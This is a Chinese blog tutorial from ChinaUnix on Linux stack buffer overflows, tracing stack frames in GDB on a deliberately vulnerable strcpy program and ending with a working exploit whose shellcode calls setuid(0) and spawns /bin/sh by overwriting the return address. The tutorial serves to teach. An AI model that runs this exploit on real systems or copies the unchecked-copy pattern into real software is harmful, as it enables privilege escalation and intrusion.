Chinaunix首页 | 论坛 | 博客
  • 博客访问: 93017
  • 博文数量: 32
  • 博客积分: 2144
  • 博客等级: 大尉
  • 技术积分: 370
  • 用 户 组: 普通用户
  • 注册时间: 2008-10-25 09:28
文章分类

全部博文(32)

文章存档

2011年(6)

2010年(2)

2009年(10)

2008年(14)

我的朋友

分类: LINUX

2009-05-09 18:23:00

Linux下栈溢出的原理及利用
作者:xinhe
1、进程空间的内存分布
      一个程序在运行时系统会给这个程序分配4GB的虚拟内存,而这4GB有2GB是共享的,内核可以访问,
     还有2GB是进程独占的,而程序又分为程序段,数据段,堆栈段。动态数据都是通过堆栈段来存放。
     其分布如下:
                     内存高端
           +-------------------+
           |       程序段           |
           +-------------------+
           |       数据段           |
           +-------------------+
           |       堆   栈           |
           +-------------------+
                     内存低端
                    
     而堆栈段的分布又如下:
                    内存高端
           +-------------------+
           |       函数栈           |
           +-------------------+
           |       函数栈           |
           +-------------------+
           |     -------         |
           +-------------------+
           |         堆             |
           +-------------------+
                     内存低端

2、程序对堆栈的使用
    程序每调用一个函数,就会在堆栈里申请一定的空间,我们把这个空间称为函数栈,而随着函数调用层数的
    增加, 函数栈一块块地从高端内存向低端内存地址方向延伸.反之,随着进程中函数调用层数的减少, 即各
    函数调用的返回, 函数栈会一块块地被遗弃而向内存的高址方向回缩.各函数的栈大小随着函数的性质的不
    同而不等, 由函数的局部变量的数目决定。
       进程对内存的动态申请是发生在Heap(堆)里的. 也就是说, 随着系统动态分配给进程的内存数量的增加,
   Heap(堆)有可能向高址或低址延伸, 依赖于不同CPU的实现. 但一般来说是向内存的高地址方向增长的。
      当发生函数调用时,先将函数的参数压入栈中,然后将函数的返回地址压入栈中,这里的返回地址通常是
   Call的下一条指令的地址。
   这里结合一个实例来说明这一过程:
   写这么一个程序
//test.c
#include
   int fun(char *str)
   {
    char buffer[10];
    strcpy(buffer,str);
    printf("%s",buffer);
    return 0;
   }
   int main(int argc,char **argv)
   {
     int i=0;
     char *str;
     str=argv[1];
     fun(str);
     return 0;
   }
   编译 gcc -g -o test test.c
   然后用GDB来进来调试
   gdb test
   反汇编main函数
0x080483db :     push    %ebp
0x080483dc :     mov     %esp,%ebp
0x080483de :     sub     $0x8,%esp
0x080483e1 :     and     $0xfffffff0,%esp
0x080483e4 :     mov     $0x0,%eax
0x080483e9 :    sub     %eax,%esp
0x080483eb :    movl    $0x0,0xfffffffc(%ebp)
0x080483f2 :    mov     0xc(%ebp),%eax
0x080483f5 :    add     $0x4,%eax
0x080483f8 :    mov     (%eax),%eax
0x080483fa :    mov     %eax,0xfffffff8(%ebp)
0x080483fd :    sub     $0xc,%esp
0x08048400 :    pushl   0xfffffff8(%ebp)
0x08048403 :    call    0x80483a8
0x08048408 :    add     $0x10,%esp
0x0804840b :    mov     $0x0,%eax
0x08048410 :    leave
0x08048411 :    ret

注意这一行
0x08048403 :    call    0x80483a8
这一行是调用fun函数,而下一行的指令地址为:0x08048408,也就是说当fun调用完以后要返回0x08048408
在原程序的第14行设置断点
b 14
run AAAA
这时,程序装运行到函数调用之前,看一下寄存器的地址
i reg
eax             0xbffffaa7        -1073743193
ecx             0xbffff960        -1073743520
edx             0xbffff954        -1073743532
ebx             0x4014effc        1075113980
esp             0xbffff8c0        0xbffff8c0
ebp             0xbffff8c8        0xbffff8c8
esi             0x2       2
edi             0x401510fc        1075122428
eip             0x80483fd         0x80483fd
eflags          0x200282 2097794
cs              0x73      115
ss              0x7b      123
ds              0x7b      123
es              0x7b      123
fs              0x0       0
gs              0x33      51
这里我们需要关心的寄存器主要主esp(栈顶指针),ebp(栈底指针),eip(指令指针)
看一下esp里的数据
x/8x $esp
0xbffff8c0:      0xbffffaa7       0x00000000       0xbffff928       0x4004cad4
0xbffff8d0:      0x00000002       0xbffff954       0xbffff960       0x40037090
再看一下str的地址
print str
$1 = 0xbffffaa7 "AAAA"
因为str就是命令行里的参数,很明显,这里调了main函数时后首先是参数地址被压入栈里。
然后单步执行程序后再看寄存器
si
si
si
i reg
eax             0xbffffaa7        -1073743193
ecx             0xbffff960        -1073743520
edx             0xbffff954        -1073743532
ebx             0x4014effc        1075113980
esp             0xbffff8ac        0xbffff8ac
ebp             0xbffff8c8        0xbffff8c8
esi             0x2       2
edi             0x401510fc        1075122428
eip             0x80483a8         0x80483a8
eflags          0x200396 2098070
cs              0x73      115
ss              0x7b      123
ds              0x7b      123
es              0x7b      123
fs              0x0       0
gs              0x33      51

我们发现esp的值变了,看看压进去了些什么东西
x/8x $esp
0xbffff8ac:      0x08048408       0xbffffaa7       0x4014effc       0x00000000
0xbffff8bc:      0x4014effc       0xbffffaa7       0x00000000       0xbffff928
这里我很可以很清楚的看到调用过程
首先把参数地址0xbffffaa7压入栈内,然后把返回地址0x08048408压入栈内
接着往下看
我们把fun函数也反汇编出来
disas fun
0x080483a8 :      push    %ebp
0x080483a9 :      mov     %esp,%ebp
0x080483ab :      sub     $0x18,%esp
0x080483ae :      sub     $0x8,%esp
0x080483b1 :      pushl   0x8(%ebp)
0x080483b4 :     lea     0xffffffe8(%ebp),%eax
0x080483b7 :     push    %eax
0x080483b8 :     call    0x80482e8 <_init+72>
0x080483bd :     add     $0x10,%esp
0x080483c0 :     sub     $0x8,%esp
0x080483c3 :     lea     0xffffffe8(%ebp),%eax
0x080483c6 :     push    %eax
0x080483c7 :     push    $0x80484e8
0x080483cc :     call    0x80482d8 <_init+56>
0x080483d1 :     add     $0x10,%esp
0x080483d4 :     mov     $0x0,%eax
0x080483d9 :     leave
0x080483da :     ret
再继续往下执行
si
si
si
x/16x $esp
0xbffff890:      0x08048414       0x080495d0       0xbffff8a8       0x080482b5
0xbffff8a0:      0x00000000       0x00000000       0xbffff8c8       0x08048408
0xbffff8b0:      0xbffffaa7       0x4014effc       0x00000000       0x4014effc
0xbffff8c0:      0xbffffaa7       0x00000000       0xbffff928       0x4004cad4

print &buffer
$7 = (char (*)[10]) 0xbffff890

这里可以看出,程序以为buffer分配了空间,而且空间大小为24字节。
程序继续执行
next
x/16x $esp

0xbffff890:      0x41414141       0x08049500       0xbffff8a8       0x080482b5
0xbffff8a0:      0x00000000       0x00000000       0xbffff8c8       0x08048408
0xbffff8b0:      0xbffffaa7       0x4014effc       0x00000000       0x4014effc
0xbffff8c0:      0xbffffaa7       0x00000000       0xbffff928       0x4004cad4
从这里我们可以看出从0xbffff890这个地址开始(也是buffer的地址)开始向高端内存填充,这里填充了
4个"A"A的ACSII码为41

3.其于栈的缓冲区溢出
   我们还是接着这个程序来分析
   我们定义buffer时是要求分配10字节的空间,而程序实际可分配了24个字节的空间,在strcpy执行时
   向buffer里拷贝A时并未检查长度,如果我们向buffer里拷贝的A如果超过24个字节,就会产生溢出。
   如果向buffer里拷贝的A的长度够长,把返回地址0x08048408覆盖了的话程序就会出错。一般会报段
   错误或者非法指令,如果返回地址无法访问,则产生段误,如果不可执行则视为非法指令。
  
4.其于栈的缓冲区溢出利用。
   既然我们可能覆盖返回地址,也就意味着我们可以控制程序的流程,如果这个返回地址正好是一个shellcode
   的入口,那么就可以利用这个有溢出的程序来获得一个shell。
   下面我们就写一个exploit来攻击这个程序
   //test_exploit.c
   #include
   #include
   char shellCode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
                      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
                      "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
                      "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
   int main()
   {
     char str[]="AAAAAAAAAA"
                "AAAAAAAAAA"
                "AAAAAAAAAA"
                "AAAAA";
     *(int *)&str[28]=(int)shellCode;
     char *arg[]={"./test",str,NULL};    
     execve(arg[0],arg,NULL);
     return 0;
   }  
   这里我们把str的第28、29、30、31节字里存放shellCode的地址,因为从上面的分析我们得知返回地址在
   距buffer偏移为28的地方。
   编译这个程序
   gcc -g -o test_exploit test_exploit.c
   执行,哈哈,我们期待的shellCode出现了。

阅读(1422) | 评论(0) | 转发(0) |
0

上一篇:shell高级编程

下一篇:快速关机代码

给主人留下些什么吧!~~